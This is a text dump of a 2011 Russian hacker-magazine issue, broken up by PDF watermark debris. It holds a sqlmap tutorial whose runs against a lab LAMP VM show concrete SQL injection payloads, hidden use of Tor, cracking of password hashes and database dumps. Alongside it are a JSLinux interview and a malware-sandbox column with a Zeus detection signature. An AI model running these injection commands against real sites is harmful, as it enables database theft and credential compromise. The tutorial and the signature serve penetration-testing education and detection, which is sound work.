книги хакеры / журнал хакер / 153_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
Sqlmap,илиSQL-инъекции—этопростоw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Boolean-basedblindSQLinjection
следомвнедряемыйSQL-запрос.Этотприемвосновномиспользуется длявнедренияSQL-команд,отличныхотSELECT,напримердлямани- пуляцииданными(спомощьюINSERTилиDELETE).Примечательно, чтотехникапотенциальноможетпривестиквозможностичтения/ записиизфайловойсистемы,атакжевыполнениюкомандвОС. Правда,взависимостиотиспользуемойвкачествебэк-эндасистемы управлениябазамиданных,атакжепользовательскихпривилегий.
•Boolean-basedblindSQLinjection.Реализациятакназываемой слепойинъекции:данныеизБДв«чистом»видеуязвимымвебприложениемнигденевозвращаются.Приемтакженазывается дедуктивным.SqlmapдобавляетвуязвимыйпараметрHTTPзапросасинтаксическиправильносоставленноевыражение, содержащееподзапросSELECT(илилюбуюдругуюкомандудля получениявыборкиизбазыданных).Длякаждогополученного HTTP-ответавыполняетсясравнениеheaders/bodyстраницы сответомнаизначальныйзапрос—такимобразом,утилита можетсимволзасимволомопределитьвыводвнедренного SQL-выражения.Вкачествеальтернативыпользовательможет
предоставитьстрокуилирегулярноевыражениедляопределения «true»-страниц(отсюдаиназваниеатаки).Алгоритмбинарного поиска,реализованныйвsqlmapдлявыполненияэтойтехники, способенизвлечькаждыйсимволвыводамаксимумсемьюHTTPзапросами.Втомслучае,когдавыводсостоитнетолькоизобычных символов,сканерподстраиваеталгоритмдляработысболее широкимдиапазономсимволов(напримердляunicode’а).
•Time-basedblindSQLinjection.Полностьюслепаяинъекция.Точно такжекакивпредыдущемслучае,сканер«играет»суязвимым параметром.Новэтомслучаедобавляетподзапрос,которыйприводиткпаузеработыDBMSнаопределенноеколичествосекунд (например,спомощьюкомандSLEEP()илиBENCHMARK()).Используяэтуособенность,сканерможетпосимвольноизвлечьданныеиз БД,сравниваявремяответанаоригинальныйзапросиназапросс
SQL-ИНЪЕКЦИЯ:ЧТОЭТО?
SQL-инъекция—этоатака,направленнаянавеб-приложение,в ходекоторойконструируетсяSQL-выражениеизпользовательского вводапутемпростойконкантенации(например,$query="SELECT * FROM users WHERE id=".$_REQUEST["id"]).Вслучаеуспехаатакующий можетизменитьлогикувыполненияSQL-запросатак,какэтоему нужно.ЧащевсегоонвыполняетпростойfingerprintingСУБД,атакже извлекаеттаблицыснаиболее«интересными»именами(например «users»).Послеэтого,взависимостиотпривилегий,скоторымизапущеноуязвимоеприложение,онможетобратитьсякзащищенным частямбэк-эндавеб-приложения(например,прочитатьфайлына сторонехостаиливыполнитьпроизвольныекоманды).
внедреннымкодом.Здесьтакжеиспользуетсяалгоритмдвоичного поиска.Крометого,применяетсяспециальныйметоддляверификацииданных,чтобыуменьшитьвероятностьнеправильного извлечениясимволаиз-занестабильногосоединения.
Несмотрянаточтосканерумеетавтоматическиэксплуатировать найденныеуязвимости,нужнодетальнопредставлятьсебекаждую изиспользуемыхтехник.ЕслитемаSQL-инъекцийтебепоказнакома
тольконапальцах,рекомендуюполистатьархив][илипрочитатьмануалДмитрияЕвтеева«SQLInjection:ОтАдоЯ»(bit.ly/pBSNVA).Важно
такжепонимать,чтодляразныхDBMSреализацииатакизачастую сильноотличаются.Всеэтислучаиумеетобрабатыватьsqlmapина данныймоментподдерживаетMySQL,Oracle,PostgreSQL,Microsoft SQLServer,MicrosoftAccess,SQLite,Firebird,SybaseиSAPMaxDB.
ФИШКИSQLMAP
ДвижокдляопределенияSQL-уязвимостей—пускайисамаяважная, новсе-такинеединственнаячастьфункционалаsqlmap.Ипреждечем показатьработусканеравдействии,немогухотябывкратце,ноне рассказатьонекоторыхегофишках.Итак,вsqlmapреализовано:
•Извлечениеименпользователей,хешейихпаролей,атакжепривилегийиполей.
•Автоматическоераспознаваниетипаиспользуемогохешаивозможностьвзломаегоспомощьюбрутфорсапословарю.
•Получениеспискабазданных,таблицистолбцов.
•Возможностьсделатьполныйиличастичныйдампбазыданных.
•Продвинутыймеханизмпоискабаз,таблицилидажестолбцов(по всембазамсразу),чтоможетбытьполезнодляопределениятаблицс«интересными»даннымивродеименпользователей(users) илипаролей(pass).
•Загрузкаили,наоборот,закачкапроизвольныхфайловнасервер, еслиуязвимоевеб-приложениеиспользуетMySQL,MySQL, PostreSQLилиMicrosoftSQLServer.
•Выполнениепроизвольныхкомандиполучениешелла,еслинахосте используетсяоднаизСУБД,перечисленныхвпредыдущемпункте.
•Поддержкапрямогоподключениякбазеданных(безявногоис- пользованияSQL-уязвимости)сиспользованиемполученныхв ходеатакиимениипароляпользователядлядоступакDMBS,а такжеIP-адреса,портаиименибазыданных.
•УстановканадежногоTCP-соединения(такназываемогоout-of- band)междумашинойпентестераихостом,накоторомзапущен сервербазданных.Вкачествеоберткидляэтогоканаламожет статьинтерактивнаякоманднаястрока(шелл),сессияMeterpreter илидоступкудаленномурабочемустолучерезVNC-подключение.
•Повышениепривилегийдляпроцессабазыданныхчерезкоманду getsystemMetasploit’а,которая,помимопрочих,реализуетизвест- нуютехникуkitrap0d(MS10-015).
Какодинизавторовэтойутилитымогусказать:этодействительно хорошийинструмент,созданныйхакерамидляхакеров.Ионработает!
ХАКЕР 10/153/2011 |
029 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
PCmZONE |
||||||
w Click |
|
||||||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
ПРИСТУПАЕМКПРАКТИКЕ
Убедитьсявэтомтебепомогутнесколькомоихсценариев.Этонаиболеетипичныеситуации,которыеиспользуютосновныевозможности sqlmap.Кслову,тытожеможешьсразупроверитьвесьфункционал сканера—например,наспециальносозданномтренировочномпри- ложенииотOWASP(www.owasp.org),вкоторомнамеренновоссозданы многиеизопасныхошибокпрограммистов.Тутнадосказать,что sqlmapнаписаннаPython’е,азначит,тысможешьзапуститьегопод любойОС.Единственноетребование—этоустановленныйвсистеме интерпретаторпайтона.Вкачествеобъектадлятестанапроникновениеябудуиспользоватьвиртуальнуюмашину,накоторойбудет крутитьсястандартныйстекLAMP(Linux/Apache/MySQL/PHP)вместе снесколькимиуязвимымивеб-приложениями.
СЦЕНАРИЙ№1
Условимся,чтомыхотимпроэксплуатироватьуязвимость,котораябыла найденавGET-параметре«id»веб-страницы,расположеннойпоадресу http://www.site.com/vuln.php?id=1(дляуказанияURLбудетключ-u).
Чтобыснизитьподозрительнуюактивность,мыбудеммаскироватьсяпод обычныйбраузер(ключ --random-agent),адляподключенияиспользо- ватьзащищенныйканалTOR-сети(--tor).Итак,запускаемsqlmap:
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"
--random-agent --tor
sqlmap/1.0-dev (r4365) — automatic SQL injection
and database takeover tool
Сканеропределитнесколькоточекдлявыполненияинъекцийв 17HTTP(S)-запросах.Обративнимание,чтодлякаждойизнихуказы- ваетсятип,атакжепэйлоад.
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind — WHERE or HAVING clause
Payload: id=1 AND 1826=1826
Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
Payload: id=1 AND (SELECT 8532 FROM(SELECT COUNT(*),CONCAT(
CHAR(58,98,116,120,58),(SELECT (CASE WHEN (8532=8532) THEN 1
ELSE 0 END)),CHAR(58,98,121,102,58),FLOOR(RAND(0)*2))x FROM
Error-basedSQLinjection
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ТИПИЧНАЯОШИБКА
Тойошибкойпрограммистов,из-закоторойстановитсявозможной SQL-атака,чащевсегоявляетсяпрямаяконкантенациянефильтруе- мыхилинеприводимыхкнужномутипузначенийпараметроввстро- ках,которыесодержатSQL-выражения.Например,вPHPнаиболее частымпримеромнебрежностиявляетсяиспользованиекодавроде $query="SELECT name, description, comment FROM catalogs WHERE catid=".$_GET["catid"].Кактывидишь,GETпараметр“catid”напрямуюизвлекаетсяиззапросаизапростоможетсодержатьзловредный SQLзапрос.Такимобразом,взломщникможетпростопривестиURL квидувроде«http://www.site.com/vuln.php?page=front&catid=-1 UNION ALL SELECT database(),current_user(),version()&uid=0»,для тогочтобыполучитьинформациюобазеданных,котораяотобразится прямовсодержимомстраницы.
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) — 3 columns
Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,98,116
,120,58),IFNULL(CAST(CHAR(74,76,73,112,111,113,103,118,80,84) AS CH AR),CHAR(32)),CHAR(58,98,121,102,58))
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=1 AND SLEEP(10)
Помимоэтого,сканервыполнитраспознаваниебазыданных,атак- жедругихтехнологий,использованныхвеб-приложением:
[02:01:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL 5.0
Вконцеконцовполученныеданныебудутзаписанывопределенныйфайл:
[02:01:45] [INFO] Fetched data logged to text files under '/opt/
sqlmap/output/www.site.com'
СЦЕНАРИЙ№2
Теперьследующийпример.Предположим,чтомыхотимустроить болеедетальныйfingerprinting(-f)иполучитьтекстовыйбаннер (--banner)системыуправлениябазойданных,включаяееофици- альноеназвание,номерверсии,атакжетекущегопользователя (--current-user).Крометого,насбудутинтересоватьсохраненныепа- роли(--passwords)вместесименамитаблиц(--tables),ноневключая системные,(--exclude-sysdbs)—длявсехсодержащихсявСУБДбаз данных.Нетпроблем,запускаемсканер:
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"
--random-agent --tor -f --banner --current-user --passwords
--tables --exclude-sysdbs
Оченьскоромыполучимвседанныеобиспользуемыхтехнологиях, которыезапрашивали:
[02:08:27] [INFO] fetching banner
[02:08:27] [INFO] actively fingerprinting MySQL
[02:08:27] [INFO] executing MySQL comment injection fingerprint
web application technology: PHP 5.2.6, Apache 2.2.9
030 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
back-end DBMS: active fingerprint: MySQL >= 5.1.12 and < 5.5.0 comment injection fingerprint: MySQL 5.1.41
banner parsing fingerprint: MySQL 5.1.41
banner: '5.1.41-3~bpo50+1'
После—имятекущегопользователя:
[02:08:28] [INFO] fetching current user current user: 'root@localhost'
Далееполучаемхешивсехпользовательскихпаролейивыполня- ембрутфорс-атакупословарю:
[02:08:28] [INFO] fetching database users password hashes
do you want to perform a dictionary-based attack against retrieved
password hashes? [Y/n/q] Y
[02:08:30] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[02:08:32] [INFO] using default dictionary
[02:08:32] [INFO] loading dictionary from
'/opt/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] N [02:08:33] [INFO] starting dictionary-based cracking (mysql_passwd) [02:08:35] [INFO] cracked password 'testpass' for user 'root'
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *6B2C58EABD91C1776DA223B088B601604F898847
[*] root [1]:
password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
clear-text password: testpass
Опа!Дляroot’амыбыстроподобралипароль(дляпримераонбыл оченьпростой).Пришловремясдампитьинтересующиенасданные:
[02:08:35] [INFO] fetching database names
[02:08:35] [INFO] fetching tables for databases:
information_schema, mysql, owasp10, testdb
[02:08:35] [INFO] skipping system databases:
information_schema, mysql
Database: owasp10
[3 tables]
КАКЗАЩИТИТЬСЯ?
НаиболеенадежнымспособомпредотвращенияSQL-инъекций являетсяиспользованиепараметризированныхSQL-параметров.К
примеру,вслучаесPHPэтовозможноспомощьюпакетаPEAR’sDB (pear.php.net/package/DB),предлагающегоинтерфейсдлявыполнения
абсолютнобезопасныхSQL-выражений.ОбращениекБДпроисходит следующимобразом: $p = $db->prepare("SELECT * FROM users WHERE id = ?"); $db->execute($p, array($_GET['id'])).Основнаяидеязаключаетсявтом,чтоеслипозицияпараметровявнозадана,томожно абсолютнобезопаснопередаватьSQL-запросыбазеданных,исключая возможностьдляпараметровсамимстатьSQL-выражениями(втом числезловредными).Стоитзаметить,чтодругиемеханизмы,такиекак использованиепринудительногоприведениятипов(например,спомощьюфункцииintval())всвязкесэкранированиемстроктакимифункциями,какmysql_real_escape_string()илиaddslashes(),неявляются абсолютнобезопасными.Проблемавтом,чтосуществуютнекоторые вариантыдляихобхода,аследовательно,кихиспользованиюнеобходимоподходитьсмаксимальнымвниманием.
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
|
Sqlmap,илиSQL-инъекции—этопростоw Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
+--------------+ |
|
|
|
|
|
|
|
|
|
|
|
| accounts |
| |
|
|
|
|
|
|
|
|
|
|
| blogs_table | |
|
|
|
|
|
|
|
|
|
|
|
| hitlog |
| |
|
|
|
|
|
|
|
|
|
|
+--------------+ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Database: testdb |
|
|
|
|
|
|
|
|
|
|
|
[1 table] |
|
|
|
|
|
|
|
|
|
|
|
+-------------+ |
|
|
|
|
|
|
|
|
|
|
|
| users |
| |
|
|
|
|
|
|
|
|
|
|
+-------------+
[02:08:35] [INFO] Fetched data logged to text files under '/opt/ sqlmap/output/www.site.com'
Готово!
СЦЕНАРИЙ№3
Теперь,обнаруживвбазеданныхtestdb-таблицу(-Dtestdb)синтерес- нымименем«users»(-Tusers),мы,естественно,заходимзаполучить еесодержимоесебе(--dump).Ночтобыпоказатьещеоднуинтересную опцию,небудемкопироватьвседанныепростовфайле,ареплицируемсодержимоетаблицвоснованнуюнафайлахбазуданныхSQLiteна локальноймашине(--replicate).
$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1" --random-agent --tor --dump -D testdb -T users --replicate
Сканерунесоставиттрудаопределитьназваниястолбцовдля таблицыusersивытащитьизнеевсезаписи:
[02:11:26] [INFO] fetching columns for table 'users' on database 'testdb'
[02:11:26] [INFO] fetching entries for table 'users' on database
'testdb' Database: testdb
Table: users
[4 entries]
+---- |
+-------- |
+------------ |
+ |
| id |
| name |
| surname |
| |
+---- |
+-------- |
+------------ |
+ |
| 2 |
| fluffy |
| bunny |
| |
| 3 |
| wu |
| ming |
| |
| 1 |
| luther | blissett |
| |
|
| 4 |
| NULL |
| nameisnull| |
|
+---- |
+-------- |
+------------ |
+ |
[02:11:27] [INFO] Table 'testdb.users' dumped to sqlite3 file
Такимобразоммыполучимдампбазыданныхвфайлеtestdb. sqlite3вформатеSQLite.Фишкавтом,чтовпритакомраскладемыне толькоможемпосмотретьданные,ноещеивыполнитькнейлюбые запросы,заюзаввозможностиSQLite(например,спомощьюпрограммыSQLiteManager).
РЕЗЮМЕ
В прошлом номере в рубрике Proof-of-concept я рассказывал тебе о DSSS, небольшом Python-скрипте, который умеет обнаруживать SQL-уязвимости. Идея заключалась в том, чтобы создать эффективный сканер, который будет хорошо работать, но уложиться при этом в 100 строчек кода. Это лишний раз доказывает, что обнаружение SQL-уязвимостей — это лишь малая часть дела. Их эксплуатация
— вопрос куда более сложный. Но его готов взять на разрешение sqlmap, в котором мы объединили многолетний опыт огромного количества пентестеров, чтобы сканер мог эффективно не только находить SQL-инъекции, но и извлекать из этого максимальную выгоду. z
ХАКЕР 10/153/2011 |
031 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
PCmZONE |
||||||
w Click |
|
||||||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Proof-of-Concept
ЗАПУСТИТЬLINUX ВБРАУЗЕРЕ
То,чтомыувиделиоднимиюльскимвечеромвредакции,впечатлилонасдоглубиныдуши.Зайдянасайтbellard.org/jslinux, мыувидели,какпрямовнутрибраузерастартуетLinux-система, скоторойможноработатьтак,какеслибыонабылазапущенаподвиртуальноймашиной.Сперванампоказалось,чтоэто простоэмуляторлинуксовойконсолиинекоторыхниксовых команд.Нооченьскоросталоясно,чтоэтополноценныйэмуляторPC,которыйполностьюнаписаннаJavaScriptивыполняется прямовбраузере!МожнодаженаписатьнаСиприложениеиоткомпилироватьегоспомощьювключенногопоумолчаниюкомпилятораTinyCC.Этопросточума!Какомукрутышуудалосьэто реализовать?Вопросыотпадаютсамисобой,когдапосмотришь накопирайты.JavaScriptPCEmulator(аименнотакназывается проект)написалФабрициоБеллард—создательэмулятора QEMU.Мырешилиузнатьунего,какемувголовумоглаприйти такаябезбашеннаяидея.PoCполучилсявневсякихпохвал.
JavaScriptPCEmulatorбыстреевсегоработаетвFirefox
ЗАЧЕМВООБЩЕТЫВСЁ ЭТОЗАТЕЯЛ?РАДИЧЕГО?
ЯхотелсделатьсвоегородаUnix-подобную системувбраузере.Язнаюосуществовании проектаJS/UIX(www.masswerk.at/jsuix),номеня грелаидеяовозможностизапускатьвбраузере реальныебинарникиUnix-команд.Изначально ялишьхотелреализоватьэмуляторпользовательскогоокруженияиполностьюнаписатьна JavaScriptядросистемы.Однакопозжеяосо- знал,чтоспомощьюсовременныхJS-движков прощеэмулироватьцелыйкомпьютериужена немзапускатьполноценныйLinux.
ЧТОВЭТОМОСОБЕННОГО?
Естьнемалоэмуляторовкомпьютера,иявтом числестоюуистоководногоизних(QEMU). JavaScriptPCEmulatorинтересентем,чтоработаетвбольшинствебраузеровивообщенетребуетустановки.Конечно,онзаметномедленнее, новсеравноможетиспользоваться,кпримеру,в образовательныхцелях.Посколькукоднаписан начистомJavaScript’е,онможетпослужитьнеплохимбенчмаркомдлязамерапроизводитель- ностиJS-движков.Могусказать,чтосейчаспро- ектбыстреестартуетнаJaegerMonkey,который используетсявFirefox4,чемвV8(Chrome).Япока немогуобъяснить,вчемпричина,поскольку успелпокаизучитькодтолькоJaegerMonkey (Фабрицио—настоящийгик-монстр.—Прим. редакции).
КАКИЕСЭТИМБЫЛИСЛОЖНОСТИ?
Самая навороченная часть проекта — это, конечно, эмулятор процессора x86. Проект эмулирует еще ряд устройств (последовательный порт, контроллер прерываний, эмулятор терминала), но с процом возни было больше всего. Тут надо понимать: было бы проще эмулировать CPU c RISC-архитектурой (какой-нибудь MIPS или ARM), но куда круче было бы иметь возможность запускать вездесущий x86 код. Ведь в конечном счете это позволит запускать и другие ОС, не только Linux. Еще одна сложность состояла в том, чтобы добиться приличной производительности эмулятора в браузере (сейчас проект работает в Firefox и Chrome).
Я обнаружил, что некоторые конструкции выполняются медленнее, чем другие в тех же самых браузерах. Поэтому пришлось изрядно адаптировать код. z
032 |
ХАКЕР 10/153/2011 |
|
|
|
|
hang |
e |
|
|
|
|
||
|
|
|
C |
|
E |
|
|
||||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|||
|
F |
|
|
|
|
|
|
|
t |
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
PCmZONE |
||||||
w Click |
|
||||||||||
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
df |
-xcha |
n |
e |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
СтепанИльин(twitter.com/stepah)w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
КОЛОНКАРЕДАКТОРА
Проанализ малвари
авнохотелнайтипростойиинтеллектуальныйинструмент
Ддляанализамалвари.Икажется,нашел.Водномиздавниш-
нихномеровяужерассказывалпроонлайн-сервисы,которые предлагаютзапуститьподозрительныйбинарниквпесочницеи проанализироватьегодействиявсистеме.Детальностьтакихотчетов поражает:можнопосмотреть,какиеключибылисозданывреестре, ккакимфайлампроисходилиобращения,какиеперехватыфункций выполнялисьитакдалее.Некоторыеизтакихсервисовавтоматическиделаютскриншотприложенияипредлагаютполныйдампсетевой активностиисследуемогоприложениявPCAP-формате.Всемуэтому хозяйствунехватаеттолькоодного—некогоинтеллектуального механизма,которыймогбынетольковыкладыватьсухиефакты,но ещеиинтерпретироватьих.То,чегоятакдавнохотел,яобнаружил случайновсервисешвейцарскогоисследователяСтефанаБюльмана. Егоразработка—JoeSandboxWeb(www.joesecurity.org)—также, какимногиедругиесервисы-песочницы,возвращаетдетальнейший отчетоповедениифайлавсистеме,носважнымотличием.Засчет интеллектуальногомеханизмасканерпонятнымязыкомговоритотой активностибинарника,котораявызываетподозрения.«Инжектирует PE-файлвчужойпроцесс»,«Перехватываетвызовwinsocket-функций дляперехвататрафика»,«Открываетпортиждетвходящихподключений»,«Устанавливаетхукидляфункций,выводящиесписокфайлов
идиректорий»—вотчетпопадаютконкретныеиясныеформули- ровки,понятныечеловеку,которыйпородудеятельностиобычноне занимаетсяанализоммалвари.Всесобытияранжируютсяпостепени опасности.Яперечислилнекоторыеизособоподозрительных.Ноесть
идругиемаркеры,накоторыеприанализестоитобратитьвнимание, нокоторыенеобязательносвидетельствуютозловредномхарактере приложения.Например:«Отправляетданныенавеб-сервер»,«Точка
Разныецвета—разныестепениопасностисобытий
входавприложениялежитвнестандартныхсекций»,«Запрашивает списокзапущенныхпроцессов»,«Содержитдолгиеsleep’ы(больше 2минут)»,«Создаетфайлыдрайверов»итакдалее.ВсеговбазеJoe SandboxWebсейчас160сигнатурдляанализаповедениябинарника. Любуюизнихможноподстроитьподсвоинужды.Ничегонестоит написатьисвоисобственныесигнатуры,воспользовавшисьпростым Python-интерфейсомдляобработкиданныхоповедениипрограммы. ПриведудляпримерачастьсигнатурыдляанализаZeus’а,спомощью которогомыобучаемсканерреагироватьнатипичныедляэтоготроя создаваемыефайлы:
zeusfiles = ["c:\\windows\\system32\\ntos.exe", \ [... пропущено ...]
"c:\\windows\\system32\\lowsec\\user.ds"]
def sigmatch(data):
if data["func"] == "fileCreated":
if data["status"].find("success") != -1:
# Проверяем, попадают ли созданные файлы в блек-лист
for zeusfile in zeusfiles:
if data["path"].lower() == zeusfile:
zeusdetected = True
elif data["func"] == "http":
if zeusdetected:
# Извлекаем IP-адрес C&C-сервера
if re.match( r"POST.*gate\.php", data["request"], re.I):
zeusservers.append(data["dstip"])
